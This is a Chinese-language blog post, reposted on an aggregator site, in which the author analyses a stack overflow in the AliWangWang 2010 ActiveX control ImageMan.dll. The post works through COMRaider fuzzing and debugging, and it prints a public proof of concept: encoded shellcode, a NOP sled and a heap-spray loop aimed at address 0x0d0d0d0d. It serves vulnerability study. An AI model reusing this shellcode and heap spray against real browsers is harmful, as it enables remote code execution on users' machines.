码迷,mamicode.com
首页 > 其他好文 > 详细

阿里旺旺ActiveX控件ImageMan溢出

时间:2020-05-11 01:29:16      阅读:112      评论:0      收藏:0      [点我收藏+]

标签:进程   返回   substring   通用   数据   cmd   auto   +=   root   

操作系统:windows 7 home premium x64

漏洞软件:阿里旺旺2010

工具:COMRaiderollydbg

简介:栈溢出漏洞,阿里旺旺ActiveX控件imageMan.dll中的AutoPic函数未对参数长度进行有效检测,它会先获取反斜杠“\”的位置,然后字符串开始至反斜杠之间的字符数将作为后续复制的size,如果字符串中没有反斜杠,就会导致全字符串复制

1.先了解下ActiveX以及COMRaider模糊测试的用法:
ActiveX是浏览器插件,它是一些软件组件或对象,可以将其插入到WEB网页或其他应用程序中。一般软件需要用户单独下载然后执行安装,而ActiveX插件是当用户浏览到特定的网页时,IE浏览器即可自动下载并提示用户安装。

每个ActiveX组件中可能包含多个class类,每个class类可能包含了多个接口,每个接口可能包含了多个函数。每个class类有一个自己的classid。在调用ActiveX中的某个函数的时候,会事先通过classid来引入class

注册表 HKEY_CLASSES_ROOT\CLSID中记录的就是classid。每个 classid下面有个typelibtypelib记录的是所属com组件的id。组件id记录在注册表的HKEY_CLASSES_ROOT\TypeLib目录下。

COMRaider打开ImageMan.dll,可以看到控件的注册ID,和所具有的接口函数和函数的参数(由于路径中有中文产生编码问题,修改路径解决+dll注册 regsvr32 ImageMan.dll

 技术图片

注册要用管理员权限运行cmd,否则会注册失败

 技术图片

使用报错,类型错误

2.不管了,看下poc

 技术图片

Target classid是注册的imageMan.dll模块,AutoPic是栈溢出的函数,第一个参数buffer参数是1111个“A”,猜想是通过栈溢出将返回地址覆盖为0x41414141

 技术图片

前面是通用的js堆喷,将shellcode写到0x0d0d0d0d位置,然后覆盖地址为0x0d0d0d0d,劫持eip跳往0x0d0d0d0d

详细分析下堆喷代码

//shellcode,大小是80*2 Byte

shellcode = unescape(

‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395‘+

‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1‘+

‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e‘+

‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5‘+

‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f‘+

‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5‘+

‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525‘+

‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e‘);

//滑板指令,大小4byte

nops=unescape(‘%u9090%u9090‘);

headersize =20;

slackspace= headersize + shellcode.length; //20+80=100

 

while(nops.length < slackspace) nops+= nops;//指数增长2+2+4+8+16+32+64=128==>256nop

fillblock= nops.substring(0, slackspace);//fillblock:200nop,大小:100个宽字符

block= nops.substring(0, nops.length- slackspace);//block:56nop,大小:28个宽字符

 

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;

//大量nop,size:524188个宽字符,1042976(0xFFF38)nop

 技术图片

memory=new Array();//申请空间

for( counter=0; counter<200; counter++)

memory[counter]= block + shellcode;

//每个元素的真实数据大小是0xFFFD8(block + shellcode),加上额外数据,每个元素在内存中占用的大小是0x100000,一共是200元素,假设从内存0x0的位置存放数组,200个元素,会一直存放到0xC800000,实际上数组并不是从0x0位置开始存放的,进程本身,堆栈以及其他变量所需的内存空间,会导致数组很容易覆盖0x0D0D0D0D的地址空间。

 3.接下来用调试器看下执行过程

ida看下漏洞地址

 技术图片

Od附加到ie上,断点位置有问题,ida得到的漏洞地址还差个模块加载基地址,查阅资料,断点于OLEAUT32!DispCallFunc函数

在网页中调用ActiveX组件,在浏览器背后都会先后调用GetIDsOfNames函数和Invoke函数。因为Invoke函数内部最终要调用OLEAUT32!DispCallFunc函数,因此可以在该函数上下断点。

 技术图片

 

 技术图片

运行报错,应该是dep的问题,0x0d0d0d0d不可执行

断点也没断好,没有中断

阿里旺旺ActiveX控件ImageMan溢出

标签:进程   返回   substring   通用   数据   cmd   auto   +=   root   

原文地址:https://www.cnblogs.com/windsleeve/p/12866007.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!